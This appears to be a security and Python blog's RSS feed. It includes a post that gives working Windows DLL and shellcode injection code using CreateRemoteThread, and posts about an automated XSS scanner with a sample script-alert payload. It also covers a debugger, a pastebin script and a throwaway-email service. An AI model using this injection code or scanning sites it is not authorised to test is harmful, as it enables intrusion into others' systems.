Python on Cloudberry Engineering https://cloudberry.engineering/tags/python/ Recent content in Python on Cloudberry Engineering Hugo -- gohugo.io en-us Wed, 30 May 2012 00:00:00 +0000 DLL and Code Injection in Python https://cloudberry.engineering/article/dll-and-code-injection-in-python/ Wed, 30 May 2012 00:00:00 +0000 https://cloudberry.engineering/article/dll-and-code-injection-in-python/ Snippet time! Two simple functions to inject DLL or shellcodes into running processes (x86).

Enjoy:

import sys
from ctypes import *

PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x00000040

DELETE          = 0x00010000
READ_CONTROL    = 0x00020000
WRITE_DAC       = 0x00040000
WRITE_OWNER     = 0x00080000
SYNCHRONIZE     = 0x00100000
PROCESS_ALL_ACCESS = ( DELETE |
                      READ_CONTROL |
                      WRITE_DAC |
                      WRITE_OWNER |
                      SYNCHRONIZE |
                      0xFFF # If < WinXP/WinServer2003 - 0xFFFF otherwhise
                    )

VIRTUAL_MEM = ( 0x1000 | 0x2000 )

KERNEL32 = windll.kernel32

def dllinject(dll_path, pid):
    """ Inject a DLL into target process.

    :param dll_path: path to dll
    :param pid: target process id
    """
    dll_len = len(dll_path)

    h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
    if not h_process:
        # No handler to PID
        return False

    # Allocate space and write DLL path into it
    dll_address = KERNEL32.VirtualAllocEx(
            h_process, 
            0, 
            dll_len, 
            VIRTUAL_MEM, 
            PAGE_READWRITE)

    w = c_int(0)

    KERNEL32.WriteProcessMemory(
            h_process, 
            dll_address, 
            dll_path, 
            dll_len, 
            byref(w))

    # Where is LoadLibraryA?
    h_kernel32 = KERNEL32.GetModuleHandleA('kernel32.dll')
    h_loadlib = KERNEL32.GetProcAddress(h_kernel32, 'LoadLibraryA')

    # Create thread
    t_id = c_ulong(0)
    if not KERNEL32.CreateRemoteThread(
            h_process, 
            None, 
            0, 
            h_loadlib, 
            dll_address, 
            0, 
            byref(t_id)):
        # Cannot start a thread
        return False
    print t_id
    return True

def codeinject(shellcode, pid):
    """ Inject code into target process.

    :param shellcode: shellcode to inject
    :param pid: target process id
    """
    shellcode_len = len(shellcode)

    h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
    if not h_process:
        # No handler to PID
        print 'No handler to PID'
        return False

    shellcode_address = KERNEL32.VirtualAllocEx(
            h_process, 
            0, 
            shellcode_len, 
            VIRTUAL_MEM, 
            PAGE_EXECUTE_READWRITE)

    w = c_int(0)

    KERNEL32.WriteProcessMemory(
            h_process, 
            shellcode_address, 
            shellcode, 
            shellcode_len, 
            byref(w))

    t_id = c_ulong(0)
    if not KERNEL32.CreateRemoteThread(
            h_process, 
            None, 
            0, 
            shellcode_address, 
            None, 
            0, 
            byref(t_id)):
        # Cannot start thread
        return False

    return True

Injection is performerd trough CreateRemoteThread which is not supported on Windows Vista, 7 and 8 (you ought to use NtCreateThreadEx instead).

]]>
What's New in xsssniper 0.8.x https://cloudberry.engineering/article/whats-new-in-xsssniper-08x/ Fri, 24 Feb 2012 00:00:00 +0000 https://cloudberry.engineering/article/whats-new-in-xsssniper-08x/ After some months of development xsssniper has become more stable and a lot has changed since initial releases so it’s about time to peek under the hood of current version: 0.8.x.

First and foremost it’s important to highlight that the goal of this tool is to test an entire web application automatically with minimum human intervention (maybe xssnuker would be a better name!).

With this in mind the biggest change has been done on the injection engine. In first versions an user intervention was needed to choose wich xss payload (Y) to inject and what artifacts (Z) to check in responses:

$ python xsssniper.py --url 'X' --payload 'Y' --check 'Z'

This was pretty much like testing injections from the browser. Awful.

After a little research and testing I redesigned the engine in order to automatically inject a taint and check the response for taint’s artifacts in order to deduct if an injection was correctly performed and where.

The taint is something like this:

seed:seed seed=-->seed\"seed>seed'seed>seed+seed<seed>

Where the seed is a random alphanumeric string.

After the taint is injected the response is parsed in a finite state machine that looks for the seed and keep tracks of the logical position in the document (inside a tag attribute, inside an href, inside double quotes, inside singl equotes, etc).

If a seed is discovered in a correct position the injection is verified and reported.

This little change had a great impact on overall performances and has opened the gate to great mass scan functionalities.

In fact, before triggering the injection engine a set of crawler are run with the purpose to collect new targets to test. The crawlers are:

  • An URL crawler (--crawl) to retrieve every local URL.
  • A form crawler (--forms) to retrieve every form on the page or, if used in conjunction with the url crawler, on the entire website.
  • A javascript crawler (--dom) used to collect javascripts, embedded and linked, to test against dom xss.

I am trying my best to detect dom xss too but unfortunately looks like that automatically testing for this vulnerability is a really difficult problem.

The solution adopted, far from being definitive, is to scan every javascript for common sources and sinks as suggested here.

This is nothing more than running a regexp to highlight possible injection points, but no automatic verification is performed so a manual inspection from the user is still needed.

This is because I still dind’t find a satisfying way to statically analyze the javascript: suggestions on this point are more than welcome!

At last we have few options of common utility:

  • --post and --data to send post requests
  • --threads to manage the number of threads used
  • --http-proxy and --tor to scan behind proxies
  • --user-agent to specify an user agent
  • --random-agent to randomize the user agent
  • --cookie to use a cookie

For next versions I have a little todo list with some features I’d like to implement but on top of it there is the possibility to test injections with encoded payloads/taint. I think this is vital because at now discovered injections are still pretty basic.

Oh, and HTTP response splitting! I want that too.

And, last but not least, I’d really like to improve the output format: I tried different styles but it still looks clumsy to me.

That’s all for now. As usual all the code and docs are available here on my bitbucket.

If you have any suggestions, feature request, urge to contribute or just a bug to report… I want to hear from you!

]]>
A Simple Debugger https://cloudberry.engineering/note/a-simple-debugger/ Sat, 24 Dec 2011 00:00:00 +0000 https://cloudberry.engineering/note/a-simple-debugger/ Simple Debugger (sdbg) is a minimal Windows debugger I wrote to sharpen my knowledge of debugging practices.

It’s written in python and it’s obviously coded on top of the wonderful ctypes library. The overall architecture is heavily based on PyDbg since I was already familiar.

At the moment of this writing it’s capable of setting soft, hard and memory breakpoints, it has a minimal interactive shell to retrieve registers status and it’s expandable with custom callbacks for handling exceptions.

Building a debugger it’s been an awesome experience (except for the parts where I am swearing on the IA32 Intel docs) and I really learned a lot - and this was the main goal.

Since I am starting to wet my feet in reverse engineering I am looking to eat my own dogfood and use it for analysing some samples from my malware collection. This way I hope to keep it updated and maybe add some new features too.

As usual everything is GPLd and you can find it on my bitbucket page.

]]>
Introducing xsssniper https://cloudberry.engineering/article/introducing-xsssniper/ Fri, 16 Sep 2011 00:00:00 +0000 https://cloudberry.engineering/article/introducing-xsssniper/ I wrote a little app called xsssniper to automatically test XSS injection points in target URLs.

$ python xsssniper.py --url 'X' --payload 'Y' --check 'Z'

What it does is scanning target URL for GET parameters and then inject an XSS payload (Y) into them and parse the response for artefacts of the injection (Z).

The simplest example would be to inject <script type="text/javascript">window.alert('lol')</script> and check for <script type="text/javascript">window.alert('lol')</script>, if we have a match maybe we have just found an XSS.

If no check is specified xssniper will consider payload and check the same.

If no payload is specified as well a special file will be parsed for common payloads (lib/payloads.xml, feel free to contribute!).

Another useful feature is the ability to crawl the target URL for relative links. Every link found is added to the scan queue and processed, so it’s easier to test an entire website.

In the end this method is not fool proof but it’s a good heuristic to mass find injection points and test escape strategies. Also since there is no browser emulation is your duty to manual test discovered injections against various browser’s xss protections.

Here is the usage:

Usage: xsssniper.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     target URL
  -p PAYLOAD, --payload=PAYLOAD
                        payload to inject. If the payload is not
                        specified standard payloads from lib/payloads.xml
                        will be used
  -c CHECK, --check=CHECK
                        payload artefact to search in response
  --threads=THREADS     number of threads
  --http-proxy=HTTP_PROXY
                        scan behind given proxy (format: 127.0.0.1:80)
  --tor                 scan behind default Tor
  --crawl               crawl target url for other links to test

It’s development is still active and I am adding features day after day.

For any suggestion feel free to contact me (mail or twitter) meanwhile check out the repository.

]]>
Pastebin v3 Command Line Script https://cloudberry.engineering/note/pastebin-v3-command-line-script/ Wed, 13 Apr 2011 00:00:00 +0000 https://cloudberry.engineering/note/pastebin-v3-command-line-script/ Since I haven’t managed to find a command line pastebin script whose based on the new APIs I wrote one.

You can find it on my bitbucket.

Usage:

$ pastebin.py -f python -e 10M -p 1 -t MyPaste &lt; whatever

Pratically you just pipe your data to the script.

Here are some options:

-f defines data format (php, python, etc)
-e the expiry time (10M, 1G, 1D, N)
-p the privacy (1 is private, 0 is public)
-t the title of the paste

The script looks for a config file in your home dir with your dev API key and optionally an username and a valid password (without valid login credentials your pastes will be anonymous).

The first time you run it will create the config (~/.pastebin).

Feel free to fork/edit/whatever it.

]]>
Introducing Pepbot https://cloudberry.engineering/article/introducing-pepbot/ Thu, 25 Nov 2010 00:00:00 +0000 https://cloudberry.engineering/article/introducing-pepbot/ Introducing my new little creature just released in the wild: Pepbot.

What?

It’s a disposable temporary email service. His main goal is to help you dodge spam by providing a valid throw away mail address you can use instead of your real one. For example when you want to leave a comment on a shady blog, register to a random forum or whatever else.

When prompted for a valid mail simply use [email protected] then go to Pepbot and check your mail or forget about it.

But there is more: the auto-mode!

Many web services needs to verify that the email address you provide is a valid one before confirming your account. To do so they will send a verification link you should click. So ideally you need to check your mail, wait for the verification, click the link and then finally receive a valid account. Here comes the awesomeness: use a special mailbox with the -a tag like [email protected] and Pepbot will click on every link from every mail it receives for you!

Why?

I am learning python so I thought it would be fun to start coding something useful (at least for me), plus I needed something to help me sharpen my sys admin skills.

So far it worked: I’ve coded, I’ve hardened a VPS, I’ve deployed an app (oh man it was painful!)… I learned a lot troughout all the process. And I had fun. Epic win.

How?

Pepbot is built on top of Lamson and… Memcached.

Long story short: whenever a mail arrives Lamson reads it, performs some tasks, and puts it into a local Memcached server. The frontend (which is written with bottle.py) retrieves the emails from the Memcached server whenever an user asks to check a mailbox.

Why Memcached and not some other well-estabilished database? Because I tought (actually I made the math) that writing on disk would be a bottleneck for performances. I wanted something that could scale well and fast against a large volume of stored mails and since ideally the majority of mails will be totally useless (spam! nom nom nom) why bother?

So?

Nothing. Go and play with my baby.

Remeber that he is in public beta: so if you find a bug please let me know!

And if you have suggestions and/or a feature request don’t be shy and contact me.

]]>